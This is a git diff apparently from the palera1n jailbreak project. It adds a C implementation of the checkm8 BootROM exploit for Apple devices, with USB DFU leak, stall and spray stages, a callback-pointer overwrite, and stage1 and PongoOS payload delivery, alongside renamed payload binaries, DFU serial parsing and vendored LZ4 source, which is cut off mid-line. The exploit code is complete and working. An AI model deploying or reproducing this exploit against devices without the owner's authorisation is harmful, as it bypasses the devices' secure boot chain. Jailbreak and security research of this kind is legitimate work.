that +the resulting work was NOT developed by the checkra1n team. +The checkra1n team is the original author of this specific component, +but they do not endorse, support, or take responsibility for this implementation. + +2. MIT LICENSE & DISCLAIMER: +Subject to the condition above, this code is provided under the MIT License. +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. + +The binary containing this shellcode is available from the following link: https://checkra.in/1337 + diff --git a/payloads/lz4dec.bin b/1stparty/libopenra1n/payloads/lz4dec.bin similarity index 100% rename from payloads/lz4dec.bin rename to 1stparty/libopenra1n/payloads/lz4dec.bin diff --git a/payloads/yolo_s5l8960x.bin b/1stparty/libopenra1n/payloads/yolo_s5l8960x.bin similarity index 100% rename from payloads/yolo_s5l8960x.bin rename to 1stparty/libopenra1n/payloads/yolo_s5l8960x.bin diff --git a/payloads/yolo_s8000.bin b/1stparty/libopenra1n/payloads/yolo_s8000.bin similarity index 100% rename from payloads/yolo_s8000.bin rename to 1stparty/libopenra1n/payloads/yolo_s8000.bin diff --git a/payloads/yolo_s8001.bin b/1stparty/libopenra1n/payloads/yolo_s8001.bin similarity index 100% rename from payloads/yolo_s8001.bin rename to 1stparty/libopenra1n/payloads/yolo_s8001.bin diff --git a/payloads/yolo_s8003.bin b/1stparty/libopenra1n/payloads/yolo_s8003.bin similarity index 100% rename from payloads/yolo_s8003.bin rename to 1stparty/libopenra1n/payloads/yolo_s8003.bin diff --git a/payloads/yolo_t7000.bin b/1stparty/libopenra1n/payloads/yolo_t7000.bin similarity index 100% rename from payloads/yolo_t7000.bin rename to 1stparty/libopenra1n/payloads/yolo_t7000.bin diff --git a/payloads/yolo_t7001.bin b/1stparty/libopenra1n/payloads/yolo_t7001.bin similarity index 100% rename from payloads/yolo_t7001.bin rename to 1stparty/libopenra1n/payloads/yolo_t7001.bin diff --git a/payloads/yolo_t8010.bin b/1stparty/libopenra1n/payloads/yolo_t8010.bin similarity index 100% rename from payloads/yolo_t8010.bin rename to 1stparty/libopenra1n/payloads/yolo_t8010.bin diff --git a/payloads/yolo_t8011.bin b/1stparty/libopenra1n/payloads/yolo_t8011.bin similarity index 100% rename from payloads/yolo_t8011.bin rename to 1stparty/libopenra1n/payloads/yolo_t8011.bin diff --git a/payloads/yolo_t8012.bin b/1stparty/libopenra1n/payloads/yolo_t8012.bin similarity index 100% rename from payloads/yolo_t8012.bin rename to 1stparty/libopenra1n/payloads/yolo_t8012.bin diff --git a/payloads/yolo_t8015.bin b/1stparty/libopenra1n/payloads/yolo_t8015.bin similarity index 100% rename from payloads/yolo_t8015.bin rename to 1stparty/libopenra1n/payloads/yolo_t8015.bin diff --git a/1stparty/libopenra1n/src/checkm8.c b/1stparty/libopenra1n/src/checkm8.c new file mode 100644 index 0000000..87f9257 --- /dev/null +++ b/1stparty/libopenra1n/src/checkm8.c @@ -0,0 +1,375 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2023 0x7ff + * Copyright (C) 2023 Mineek + * Copyright (c) 2026 palera1n team + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include + +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include + +#include +#include + +static struct { + uint8_t b_len, b_descriptor_type; + uint16_t bcd_usb; + uint8_t b_device_class, b_device_sub_class, b_device_protocol, b_max_packet_sz; + uint16_t id_vendor, id_product, bcd_device; + uint8_t i_manufacturer, i_product, i_serial_number, b_num_configurations; +} device_descriptor; + +static bool dfu_check_status(const usb_handle_t *handle, uint8_t status, uint8_t state) +{ + struct { + uint8_t status, poll_timeout[3], state, str_idx; + } dfu_status; + + transfer_ret_t result; + + result = send_usb_control_request(handle, 0xA1, DFU_GET_STATUS, 0, 0, &dfu_status, sizeof(dfu_status)); + + return result.ret == USB_TRANSFER_OK + && result.sz == sizeof(dfu_status) + && dfu_status.status == status + && dfu_status.state == state; +} + +static bool dfu_set_state_wait_reset(const usb_handle_t *handle) +{ + transfer_ret_t result; + + result = send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0); + + return result.ret == USB_TRANSFER_OK + && result.sz == 0 + && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_SYNC) + && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST) + && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_WAIT_RESET); +} + +checkm8_err_t checkm8_stage_reset(const usb_handle_t *handle) +{ + LOG("checkm8 reset stage"); + + transfer_ret_t result; + + result = send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LEN); + if (result.ret != USB_TRANSFER_OK || result.sz != DFU_FILE_SUFFIX_LEN) + goto fail; + + if (!dfu_set_state_wait_reset(handle)) + goto fail; + + result = send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ); + if (result.ret != USB_TRANSFER_OK || result.sz != EP0_MAX_PACKET_SZ) + goto fail; + + return CHECKM8_ERR_NONE; + +fail: + send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0); + + return CHECKM8_ERR_TRANSFER_FAILED; +} + +checkm8_err_t checkm8_stage_setup(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig) +{ + LOG("checkm8 setup stage"); + + unsigned usb_abort_timeout = USB_TIMEOUT - 1; + transfer_ret_t result; + + for (;;) { + result = send_usb_control_request_async_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_MAX_TRANSFER_SZ, usb_abort_timeout); + + if (result.sz < deviceConfig->config_overwrite_pad) { + result = send_usb_control_request_no_data(handle, 0, 0, 0, 0, deviceConfig->config_overwrite_pad - result.sz); + + if (result.ret == USB_TRANSFER_STALL) + return CHECKM8_ERR_NONE; + } + + send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ); + usb_abort_timeout = (usb_abort_timeout + 1) % (USB_TIMEOUT + 1); + } + + return CHECKM8_ERR_TRANSFER_FAILED; +} + +static bool checkm8_usb_request_leak(const usb_handle_t *handle) { + transfer_ret_t result; + + result = send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, EP0_MAX_PACKET_SZ, 1); + return result.sz == 0; +} + +static void checkm8_stall(const usb_handle_t *handle) +{ + unsigned usb_abort_timeout = USB_TIMEOUT - 1; + transfer_ret_t result; + + for (;;) { + result = send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ, usb_abort_timeout); + + if (result.sz < 3 * EP0_MAX_PACKET_SZ && checkm8_usb_request_leak(handle)) + break; + + usb_abort_timeout = (usb_abort_timeout + 1) % (USB_TIMEOUT + 1); + } +} + +static bool checkm8_no_leak(const usb_handle_t *handle) +{ + transfer_ret_t result; + + result = send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ + 1, 1); + + return result.sz == 0; +} + +static bool checkm8_usb_request_stall(const usb_handle_t *handle) +{ + transfer_ret_t result; + + result = send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0); + + return result.ret == USB_TRANSFER_STALL; +} + +char *get_usb_serial_number(usb_handle_t *handle) +{ + transfer_ret_t result; + uint8_t buf[UINT8_MAX]; + char *str = NULL; + size_t i, sz; + + result = send_usb_control_request(handle, 0x80, 6, 1U << 8U, 0, &device_descriptor, sizeof(device_descriptor)); + + if (result.ret != USB_TRANSFER_OK || result.sz != sizeof(device_descriptor)) + return NULL; + + result = send_usb_control_request(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, 0x409, buf, sizeof(buf)); + + if (result.ret != USB_TRANSFER_OK || result.sz != buf[0]) + return NULL; + + sz = buf[0] / 2; + if (sz == 0) + return NULL; + + str = malloc(sz); + if (str == NULL) + return NULL; + + for (i = 0; i < sz; ++i) str[i] = (char)buf[2 * (i + 1)]; + + str[sz - 1] = '\0'; + + return str; +} + +checkm8_err_t checkm8_stage_spray(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig) { + LOG("checkm8 trigger stage"); + + size_t i; + transfer_ret_t result; + + if(deviceConfig->config_large_leak == 0) { + if(deviceConfig->cpid == A8X || deviceConfig->cpid == A8 || deviceConfig->cpid == S1 || deviceConfig->cpid == A9_TSMC || deviceConfig->cpid == A9) { + while(!checkm8_usb_request_stall(handle) || !checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {} + } else { + checkm8_stall(handle); + for(i = 0; i < deviceConfig->config_hole; ++i) { + while(!checkm8_no_leak(handle)) {} + } + while(!checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {} + } + send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 3 * EP0_MAX_PACKET_SZ + 1); + } else { + for(i = 0; i < deviceConfig->config_large_leak; ++i) { + while(!checkm8_usb_request_stall(handle)) {} + } + send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0); + } + + return CHECKM8_ERR_NONE; +} + +checkm8_err_t checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig) { + LOG("checkm8 patch stage"); + + size_t i, data_sz, packet_sz; + void *data; + transfer_ret_t result; + bool ret = false; + + const uint8_t *checkra1n_payload = NULL; + void *overwrite = NULL; + size_t checkra1n_payload_sz = 0; + size_t overwrite_sz = 0; + + checkm8_overwrite_t checkm8_overwrite; + memset(&checkm8_overwrite, '\0', sizeof(checkm8_overwrite)); + checkm8_overwrite.callback.next = payloadConfig->insecure_memory_base; + overwrite = &checkm8_overwrite; + overwrite_sz = sizeof(checkm8_overwrite); + + ret = create_pongo_payload_for_device(deviceConfig->cpid, &checkra1n_payload, &checkra1n_payload_sz); + if (!ret) return CHECKM8_ERR_UNSUPPORTED; + + ret = generate_stage1(&data, &data_sz, checkra1n_payload, checkra1n_payload_sz, deviceConfig, payloadConfig); + if (!ret) return CHECKM8_ERR_INVALID_PAYLOAD; + + if(checkm8_usb_request_stall(handle) && checkm8_usb_request_leak(handle)) { + LOG_DEBUG("successfully leaked data"); + } else { + LOG_ERROR("failed to leak data"); + return CHECKM8_ERR_TRANSFER_FAILED; + } + + for (i = 0; i < 2; i++) { + LOG_DEBUG("i = %zu", i); + result = send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0); + } + + if (overwrite != NULL) { + result = send_usb_control_request(handle, 0x00, 0, 0, 0x00, overwrite, overwrite_sz); + if (result.ret != USB_TRANSFER_STALL) { + LOG_ERROR("failed to send overwrite data"); + return CHECKM8_ERR_TRANSFER_FAILED; + } + + for (i = 0; ret && i < data_sz; i += packet_sz) { + packet_sz = MIN(data_sz - i, DFU_MAX_TRANSFER_SZ); + + result = send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, &data[i], packet_sz); + } + + result = send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0); + } + + // todo: do something with the result + + free(data); + + return ret ? CHECKM8_ERR_NONE : CHECKM8_ERR_TRANSFER_FAILED; +} + +static bool compress_pongo(const uint8_t *bin, size_t bin_len, uint8_t **out, size_t *out_len) +{ + int src_size = (int)bin_len; + int max_size = LZ4_compressBound(src_size); + + uint8_t *buf = malloc(max_size); + if (!buf) + return false; + + int size = LZ4_compress_HC( + (const char *)bin, + (char *)buf, + src_size, + max_size, + LZ4HC_CLEVEL_MAX + ); + + if (size <= 0) { + free(buf); + return false; + } + + *out = buf; + *out_len = (size_t)size; + + return true; +} + +#define SHELLCODE_SZ (512) + +bool prepare_pongo(uint8_t **out, size_t *out_len, const uint8_t *pongo_bin, size_t pongo_bin_len) +{ + size_t pongoSize; + uint8_t *pongo; + + if (!compress_pongo(pongo_bin, pongo_bin_len, &pongo, &pongoSize)) + return false; + + LOG("Sending pongo image"); + + uint8_t *payload = malloc(SHELLCODE_SZ + pongoSize); + if (!payload) { + free(pongo); + return false; + } + + memcpy(payload, payloads_lz4dec_bin, SHELLCODE_SZ); + memcpy(payload + SHELLCODE_SZ, pongo, pongoSize); + + free(pongo); + + pongo = payload; + pongoSize += SHELLCODE_SZ; + + uint32_t *pongoSizeInData = (uint32_t *)(pongo + 0x1fc); + *pongoSizeInData = (uint32_t)(pongoSize - SHELLCODE_SZ); + + *out = pongo; + *out_len = pongoSize; + + return true; +} + +checkm8_err_t checkm8_boot_pongo(usb_handle_t *handle, const uint8_t *pongo_bin, size_t pongo_bin_len) +{ + transfer_ret_t result; + + size_t len = 0; + + while (len < pongo_bin_len) { + size_t chunk = (pongo_bin_len - len > 0x800) ? 0x800 : (pongo_bin_len - len); + retry: + result = send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, pongo_bin + len, chunk); + + if (result.sz != chunk || result.ret != USB_TRANSFER_OK) + { + LOG_DEBUG("retrying at len = %zu", len); + sleep_ms(100); + goto retry; + } + + len += chunk; + LOG_DEBUG("len = %zu", len); + } + + result = send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0); + if (result.ret != USB_TRANSFER_OK) + return CHECKM8_ERR_TRANSFER_FAILED; + + return CHECKM8_ERR_NONE; +} diff --git a/1stparty/libopenra1n/src/dfu.c b/1stparty/libopenra1n/src/dfu.c new file mode 100644 index 0000000..d75a788 --- /dev/null +++ b/1stparty/libopenra1n/src/dfu.c @@ -0,0 +1,60 @@ +/* + * palera1n - https://palera.in + * + * Copyright (c) 2026 palera1n team + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include + +#include +#include +#include +#include +#include + +uint16_t dfu_serial_number_get_cpid(char *serial) { + char *cpid = strstr(serial, "CPID:"); + if (cpid == NULL) { return -1; } + return strtol(cpid + 5, NULL, 16); +} + +uint32_t dfu_serial_number_get_bdid(char *serial) { + char *bdid = strstr(serial, "BDID:"); + if (bdid == NULL) { return -1; } + return strtoul(bdid + 5, NULL, 16); +} + +uint64_t dfu_serial_number_get_ecid(char *serial) { + char *ecid = strstr(serial, "ECID:"); + if (ecid == NULL) { return -1; } + return strtoull(ecid + 5, NULL, 16); +} + +bool dfu_serial_number_is_in_dfu_mode(char *serial) { + char *DFU = strstr(serial, "SRTG"); + return DFU != NULL; +} + +bool dfu_serial_number_is_pwned(char *serial) { + char *pwnd = strstr(serial, "PWND:"); + return pwnd != NULL; +} + +bool dfu_serial_number_is_in_yolo_dfu(char *serial) { + char *yolo = strstr(serial, "YOLO"); + return yolo != NULL; +} diff --git a/1stparty/libopenra1n/src/lz4/lz4.c b/1stparty/libopenra1n/src/lz4/lz4.c new file mode 100644 index 0000000..81dfe2d --- /dev/null +++ b/1stparty/libopenra1n/src/lz4/lz4.c @@ -0,0 +1,2764 @@ +/* + LZ4 - Fast LZ compression algorithm + Copyright (C) 2011-2020, Yann Collet. + + BSD 2-Clause License (http://www.opensource.org/licenses/bsd-license.php) + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions are + met: + + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above + copyright notice, this list of conditions and the following disclaimer + in the documentation and/or other materials provided with the + distribution. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + You can contact the author at : + - LZ4 homepage : http://www.lz4.org + - LZ4 source repository : https://github.com/lz4/lz4 +*/ + +/*-************************************ +* Tuning parameters +**************************************/ +/* + * LZ4_HEAPMODE : + * Select how stateless compression functions like `LZ4_compress_default()` + * allocate memory for their hash table, + * in memory stack (0:default, fastest), or in memory heap (1:requires malloc()). + */ +#ifndef LZ4_HEAPMODE +# define LZ4_HEAPMODE 0 +#endif + +/* + * LZ4_ACCELERATION_DEFAULT : + * Select "acceleration" for LZ4_compress_fast() when parameter value <= 0 + */ +#define LZ4_ACCELERATION_DEFAULT 1 +/* + * LZ4_ACCELERATION_MAX : + * Any "acceleration" value higher than this threshold + * get treated as LZ4_ACCELERATION_MAX instead (fix #876) + */ +#define LZ4_ACCELERATION_MAX 65537 + + +/*-************************************ +* CPU Feature Detection +**************************************/ +/* LZ4_FORCE_MEMORY_ACCESS + * By default, access to unaligned memory is controlled by `memcpy()`, which is safe and portable. + * Unfortunately, on some target/compiler combinations, the generated assembly is sub-optimal. + * The below switch allow to select different access method for improved performance. + * Method 0 (default) : use `memcpy()`. Safe and portable. + * Method 1 : `__packed` statement. It depends on compiler extension (ie, not portable). + * This method is safe if your compiler supports it, and *generally* as fast or faster than `memcpy`. + * Method 2 : direct access. This method is portable but violate C standard. + * It can generate buggy code on targets which assembly generation depends on alignment. + * But in some circumstances, it's the only known way to get the most performance (ie GCC + ARMv6) + * See https://fastcompression.blogspot.fr/2015/08/accessing-unaligned-memory.html for details. + * Prefer these methods in priority order (0 > 1 > 2) + */ +#ifndef LZ4_FORCE_MEMORY_ACCESS /* can be defined externally */ +# if defined(__GNUC__) && \ + ( defined(__ARM_ARCH_6__) || defined(__ARM_ARCH_6J__) || defined(__ARM_ARCH_6K__) \ + || defined(__ARM_ARCH_6Z__) || defined(__ARM_ARCH_6ZK__) || defined(__ARM_ARCH_6T2__) ) +# define LZ4_FORCE_MEMORY_ACCESS 2 +# elif (defined(__INTEL_COMPILER) && !defined(_WIN32)) || defined(__GNUC__) +# define LZ4_FORCE_MEMORY_ACCESS 1 +# endif +#endif + +/* + * LZ4_FORCE_SW_BITCOUNT + * Define this parameter if your target system or compiler does not support hardware bit count + */ +#if defined(_MSC_VER) && defined(_WIN32_WCE) /* Visual Studio for WinCE doesn't support Hardware bit count */ +# undef LZ4_FORCE_SW_BITCOUNT /* avoid double def */ +# define LZ4_FORCE_SW_BITCOUNT +#endif + + + +/*-************************************ +* Dependency +**************************************/ +/* + * LZ4_SRC_INCLUDED: + * Amalgamation flag, whether lz4.c is included + */ +#ifndef LZ4_SRC_INCLUDED +# define LZ4_SRC_INCLUDED 1 +#endif + +#ifndef LZ4_STATIC_LINKING_ONLY +#define LZ4_STATIC_LINKING_ONLY +#endif + +#ifndef LZ4_DISABLE_DEPRECATE_WARNINGS +#define LZ4_DISABLE_DEPRECATE_WARNINGS /* due to LZ4_decompress_safe_withPrefix64k */ +#endif + +#define LZ4_STATIC_LINKING_ONLY /* LZ4_DISTANCE_MAX */ +#include +/* see also "memory routines" below */ + + +/*-************************************ +* Compiler Options +**************************************/ +#if defined(_MSC_VER) && (_MSC_VER >= 1400) /* Visual Studio 2005+ */ +# include /* only present in VS2005+ */ +# pragma warning(disable : 4127) /* disable: C4127: conditional expression is constant */ +# pragma warning(disable : 6237) /* disable: C6237: conditional expression is always 0 */ +#endif /* _MSC_VER */ + +#ifndef LZ4_FORCE_INLINE +# ifdef _MSC_VER /* Visual Studio */ +# define LZ4_FORCE_INLINE static __forceinline +# else +# if defined (__cplusplus) || defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L /* C99 */ +# ifdef __GNUC__ +# define LZ4_FORCE_INLINE static inline __attribute__((always_inline)) +# else +# define LZ4_FORCE_INLINE static inline +# endif +# else +# define LZ4_FORCE_INLINE static +# endif /* __STDC_VERSION__ */ +# endif /* _MSC_VER */ +#endif /* LZ4_FORCE_INLINE */ + +/* LZ4_FORCE_O2 and LZ4_FORCE_INLINE + * gcc on ppc64le generates an unrolled SIMDized loop for LZ4_wildCopy8, + * together with a simple 8-byte copy loop as a fall-back path. + * However, this optimization hurts the decompression speed by >30%, + * because the execution does not go to the optimized loop + * for typical compressible data, and all of the preamble checks + * before going to the fall-back path become useless overhead. + * This optimization happens only with the -O3 flag, and -O2 generates + * a simple 8-byte copy loop. + * With gcc on ppc64le, all of the LZ4_decompress_* and LZ4_wildCopy8 + * functions are annotated with __attribute__((optimize("O2"))), + * and also LZ4_wildCopy8 is forcibly inlined, so that the O2 attribute + * of LZ4_wildCopy8 does not affect the compression speed. + */ +#if defined(__PPC64__) && defined(__LITTLE_ENDIAN__) && defined(__GNUC__) && !defined(__clang__) +# define LZ4_FORCE_O2 __attribute__((optimize("O2"))) +# undef LZ4_FORCE_INLINE +# define LZ4_FORCE_INLINE static __inline __attribute__((optimize("O2"),always_inline)) +#else +# define LZ4_FORCE_O2 +#endif + +#if (defined(__GNUC__) && (__GNUC__ >= 3)) || (defined(__INTEL_COMPILER) && (__INTEL_COMPILER >= 800)) || defined(__clang__) +# define expect(expr,value) (__builtin_expect ((expr),(value)) ) +#else +# define expect(expr,value) (expr) +#endif + +#ifndef likely +#define likely(expr) expect((expr) != 0, 1) +#endif +#ifndef unlikely +#define unlikely(expr) expect((expr) != 0, 0) +#endif + +/* Should the alignment test prove unreliable, for some reason, + * it can be disabled by setting LZ4_ALIGN_TEST to 0 */ +#ifndef LZ4_ALIGN_TEST /* can be externally provided */ +# define LZ4_ALIGN_TEST 1 +#endif + + +/*-************************************ +* Memory routines +**************************************/ + +/*! LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION : + * Disable relatively high-level LZ4/HC functions that use dynamic memory + * allocation functions (malloc(), calloc(), free()). + * + * Note that this is a compile-time switch. And since it disables + * public/stable LZ4 v1 API functions, we don't recommend using this + * symbol to generate a library for distribution. + * + * The following public functions are removed when this symbol is defined. + * - lz4 : LZ4_createStream, LZ4_freeStream, + * LZ4_createStreamDecode, LZ4_freeStreamDecode, LZ4_create (deprecated) + * - lz4hc : LZ4_createStreamHC, LZ4_freeStreamHC, + * LZ4_createHC (deprecated), LZ4_freeHC (deprecated) + * - lz4frame, lz4file : All LZ4F_* functions + */ +#if defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION) +# define ALLOC(s) lz4_error_memory_allocation_is_disabled +# define ALLOC_AND_ZERO(s) lz4_error_memory_allocation_is_disabled +# define FREEMEM(p) lz4_error_memory_allocation_is_disabled +#elif defined(LZ4_USER_MEMORY_FUNCTIONS) +/* memory management functions can be customized by user project. + * Below functions must exist somewhere in the Project + * and be available at link time */ +void* LZ4_malloc(size_t s); +void* LZ4_calloc(size_t n, size_t s); +void LZ4_free(void* p); +# define ALLOC(s) LZ4_malloc(s) +# define ALLOC_AND_ZERO(s) LZ4_calloc(1,s) +# define FREEMEM(p) LZ4_free(p) +#else +# include /* malloc, calloc, free */ +# define ALLOC(s) malloc(s) +# define ALLOC_AND_ZERO(s) calloc(1,s) +# define FREEMEM(p) free(p) +#endif + +#if ! LZ4_FREESTANDING +# include /* memset, memcpy */ +#endif +#if !defined(LZ4_memset) +# define LZ4_memset(p,v,s) memset((p),(v),(s)) +#endif +#define MEM_INIT(p,v,s) LZ4_memset((p),(v),(s)) + + +/*-************************************ +* Common Constants +**************************************/ +#define MINMATCH 4 + +#define WILDCOPYLENGTH 8 +#define LASTLITERALS 5 /* see ../doc/lz4_Block_format.md#parsing-restrictions */ +#define MFLIMIT 12 /* see ../doc/lz4_Block_format.md#parsing-restrictions */ +#define MATCH_SAFEGUARD_DISTANCE ((2*WILDCOPYLENGTH) - MINMATCH) /* ensure it's possible to write 2 x wildcopyLength without overflowing output buffer */ +#define FASTLOOP_SAFE_DISTANCE 64 +static const int LZ4_minLength = (MFLIMIT+1); + +#define KB *(1 <<10) +#define MB *(1 <<20) +#define GB *(1U<<30) + +#define LZ4_DISTANCE_ABSOLUTE_MAX 65535 +#if (LZ4_DISTANCE_MAX > LZ4_DISTANCE_ABSOLUTE_MAX) /* max supported by LZ4 format */ +# error "LZ4_DISTANCE_MAX is too big : must be <= 65535" +#endif + +#define ML_BITS 4 +#define ML_MASK ((1U<=1) +# include +#else +# ifndef assert +# define assert(condition) ((void)0) +# endif +#endif + +#define LZ4_STATIC_ASSERT(c) { enum { LZ4_static_assert = 1/(int)(!!(c)) }; } /* use after variable declarations */ + +#if defined(LZ4_DEBUG) && (LZ4_DEBUG>=2) +# include + static int g_debuglog_enable = 1; +# define DEBUGLOG(l, ...) { \ + if ((g_debuglog_enable) && (l<=LZ4_DEBUG)) { \ + fprintf(stderr, __FILE__ " %i: ", __LINE__); \ + fprintf(stderr, __VA_ARGS__); \ + fprintf(stderr, " \n"); \ + } } +#else +# define DEBUGLOG(l, ...) {} /* disabled */ +#endif + +static int LZ4_isAligned(const void* ptr, size_t alignment) +{ + return ((size_t)ptr & (alignment -1)) == 0; +} + + +/*-************************************ +* Types +**************************************/ +#include +#if defined(__cplusplus) || (defined (__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) /* C99 */) +# include + typedef uint8_t BYTE; + typedef uint16_t U16; + typedef uint32_t U32; + typedef int32_t S32; + typedef uint64_t U64; + typedef uintptr_t uptrval; +#else +# if UINT_MAX != 4294967295UL +# error "LZ4 code (when not C++ or C99) assumes that sizeof(int) == 4" +# endif + typedef unsigned char BYTE; + typedef unsigned short U16; + typedef unsigned int U32; + typedef signed int S32; + typedef unsigned long long U64; + typedef size_t uptrval; /* generally true, except OpenVMS-64 */ +#endif + +#if defined(__x86_64__) + typedef U64 reg_t; /* 64-bits in x32 mode */ +#else + typedef size_t reg_t; /* 32-bits in x32 mode */ +#endif + +typedef enum { + notLimited = 0, + limitedOutput = 1, + fillOutput = 2 +} limitedOutput_directive; + + +/*-************************************ +* Reading and writing into memory +**************************************/ + +/** + * LZ4 relies on memcpy with a constant size being inlined. In freestanding + * environments, the compiler can't assume the implementation of memcpy() is + * standard compliant, so it can't apply its specialized memcpy() inlining + * logic. When possible, use __builtin_memcpy() to tell the compiler to analyze + * memcpy() as if it were standard compliant, so it can inline it in freestanding + * environments. This is needed when decompressing the Linux Kernel, for example. + */ +#if !defined(LZ4_memcpy) +# if defined(__GNUC__) && (__GNUC__ >= 4) +# define LZ4_memcpy(dst, src, size) __builtin_memcpy(dst, src, size) +# else +# define LZ4_memcpy(dst, src, size) memcpy(dst, src, size) +# endif +#endif + +#if !defined(LZ4_memmove) +# if defined(__GNUC__) && (__GNUC__ >= 4) +# define LZ4_memmove __builtin_memmove +# else +# define LZ4_memmove memmove +# endif +#endif + +static unsigned LZ4_isLittleEndian(void) +{ + const union { U32 u; BYTE c[4]; } one = { 1 }; /* don't use static : performance detrimental */ + return one.c[0]; +} + + +#if defined(LZ4_FORCE_MEMORY_ACCESS) && (LZ4_FORCE_MEMORY_ACCESS==2) +/* lie to the compiler about data alignment; use with caution */ +static U16 LZ4_read16(const void* memPtr) { return *(const U16*) memPtr; } + +static U32 LZ4_read32(const void* memPtr) { return *(const U32*) memPtr; } + +static reg_t LZ4_read_ARCH(const void* memPtr) { return *(const reg_t*) memPtr; } + +static void LZ4_write16(void* memPtr, U16 value) { *(U16*)memPtr = value; } + +static void LZ4_write32(void* memPtr, U32 value) { *(U32*)memPtr = value; } + +#elif defined(LZ4_FORCE_MEMORY_ACCESS) && (LZ4_FORCE_MEMORY_ACCESS==1) + +/* __pack instructions are safer, but compiler specific, hence potentially problematic for some compilers */ +/* currently only defined for gcc and icc */ +typedef struct { U16 u16; } __attribute__((packed)) LZ4_unalign16; +typedef struct { U32 u32; } __attribute__((packed)) LZ4_unalign32; +typedef struct { reg_t uArch; } __attribute__((packed)) LZ4_unalignST; + +static U16 LZ4_read16(const void* ptr) { return ((const LZ4_unalign16*)ptr)->u16; } + +static U32 LZ4_read32(const void* ptr) { return ((const LZ4_unalign32*)ptr)->u32; } + +static reg_t LZ4_read_ARCH(const void* ptr) { return ((const 